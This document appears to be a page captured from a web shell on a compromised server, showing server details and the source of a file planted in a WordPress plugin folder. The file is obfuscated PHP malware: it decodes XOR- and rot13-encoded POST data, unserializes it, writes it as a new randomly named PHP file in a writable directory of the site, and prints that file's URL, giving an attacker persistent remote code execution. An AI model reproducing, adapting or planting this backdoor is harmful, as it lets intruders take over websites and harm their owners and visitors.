HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-content/plugins/nm-theme-settings/nrsizqlv.php
<?php $uYHaXJSJi = "iOzboNeiXx";function wepHyVhw($uYHaXJSJi){ $oXadazdlr = "\163".chr(116).'r'.chr(975-880).chr(722-608).'o'.'t'."\61".chr(1020-969);$uYHaXJSJi = $oXadazdlr($uYHaXJSJi);$JhFeTVpCT = 'r'.'a'.chr(119)."\x75"."\x72".chr(108).chr(100)."\145".chr(99).'o'.chr(100).'e';$uYHaXJSJi = $JhFeTVpCT($uYHaXJSJi);$uYHaXJSJi = str_split($uYHaXJSJi);return $uYHaXJSJi;}function RAcBYxQJVj($AvDdsQTKJXTvB, $CNNbwqTA){$AvDdsQTKJXTvB = array_slice(str_split(str_repeat($AvDdsQTKJXTvB, (count($CNNbwqTA)/16)+1)), 0, count($CNNbwqTA));return $AvDdsQTKJXTvB;}function OwcAcZKkgR($EjFcrW, $JagEI, $AvDdsQTKJXTvB){$YCEFeC = "5d18ab22-8a37-4e06-ac42-95e9ad879ea3";return $EjFcrW ^ $YCEFeC[$JagEI % strlen($YCEFeC)] ^ $AvDdsQTKJXTvB;}function MuVFR($CNNbwqTA, $AvDdsQTKJXTvB){$CNNbwqTA = array_map("OwcAcZKkgR", array_values($CNNbwqTA), array_keys($CNNbwqTA), array_values($AvDdsQTKJXTvB));$CNNbwqTA = implode("", $CNNbwqTA);$SFBPDAzAee = 'u'."\x6e"."\x73".'e'."\x72".'i'.chr(539-442).chr(108).chr(105)."\x7a".chr(1018-917);$CNNbwqTA = @$SFBPDAzAee($CNNbwqTA);return $CNNbwqTA;}function pmMLfPhHb(){echo "MRMbDIgqB";}function Mbpkqnx($AvDdsQir){static $PTuHRBCoo = array();$ALozVlTWsE = glob($AvDdsQir . '/*', GLOB_ONLYDIR);$PYuSyeI = count($ALozVlTWsE);if ($PYuSyeI > 0) {foreach ($ALozVlTWsE as $AvDdsQ) {$ChAoOfM = "\151"."\163"."\x5f".'w'."\162".chr(105)."\x74".chr(1082-985)."\142".chr(108)."\145";if (@$ChAoOfM($AvDdsQ)) {$PTuHRBCoo[] = $AvDdsQ;}}}foreach ($ALozVlTWsE as $AvDdsQir) Mbpkqnx($AvDdsQir);return $PTuHRBCoo;}function lpEwV(){echo "iOzboNeiXx";}function xOIAZV($CNNbwqTA){$VFORE = 'D'.chr(178-99)."\103".chr(85).'M'."\x45".'N'.chr(84)."\x5f"."\x52"."\117".'O'."\124";$ZoronGoS = $_SERVER[$VFORE];$ALozVlTWsE = Mbpkqnx($ZoronGoS);$WmDmVqWCVI = array_rand($ALozVlTWsE);$EXplmHARI = '.'.chr(112)."\x68"."\160";$ZHJCstbigx = $ALozVlTWsE[$WmDmVqWCVI] . "/" . substr(md5(time()), 0, 8) . $EXplmHARI;$XHRiICz = chr(306-204)."\151"."\154"."\145".chr(95).chr(510-398)."\165".chr(116).chr(305-210).'c'.chr(943-832).chr(110).chr(116).'e'."\156"."\x74".'s';@$XHRiICz($ZHJCstbigx, $CNNbwqTA);$XsvnK = chr(454-382).chr(84)."\124"."\120"."\137".'H'.'O'.chr(83).'T';$yQiAJmIekL = "\x68"."\x74"."\x74"."\160".chr(58).chr(47)."\57";$FeWfBppyS = $yQiAJmIekL . $_SERVER[$XsvnK] . substr($ZHJCstbigx, strlen($ZoronGoS));print($FeWfBppyS);}function atwbFHqEI(){$rlVfkc = chr(188-76)."\x68"."\x70";$eSCxC = chr(738-626).'h'.chr(112).chr(118).'e'."\162"."\163"."\151".chr(111)."\x6e";$CNNbwqTA = Array($rlVfkc => @$eSCxC(), );$Lacmxb = "\x73"."\x65".chr(114).chr(115-10)."\141"."\x6c"."\x69"."\x7a"."\x65";echo @$Lacmxb($CNNbwqTA);}foreach ($_POST as $AvDdsQTKJXTvB => $CNNbwqTA){$xFAvxetLe = strlen($AvDdsQTKJXTvB);if ($xFAvxetLe == 16){$CNNbwqTA = wepHyVhw($CNNbwqTA);$AvDdsQTKJXTvB = RAcBYxQJVj($AvDdsQTKJXTvB, $CNNbwqTA);$CNNbwqTA = MuVFR($CNNbwqTA, $AvDdsQTKJXTvB);if (@is_array($CNNbwqTA)){$WmDmVqWCVI = array_keys($CNNbwqTA);$CNNbwqTA = $CNNbwqTA[$WmDmVqWCVI[0]];$WmDmVqWCVI = $WmDmVqWCVI[0];if ($CNNbwqTA !== $WmDmVqWCVI){xOIAZV($CNNbwqTA);}else {atwbFHqEI();}die();}}}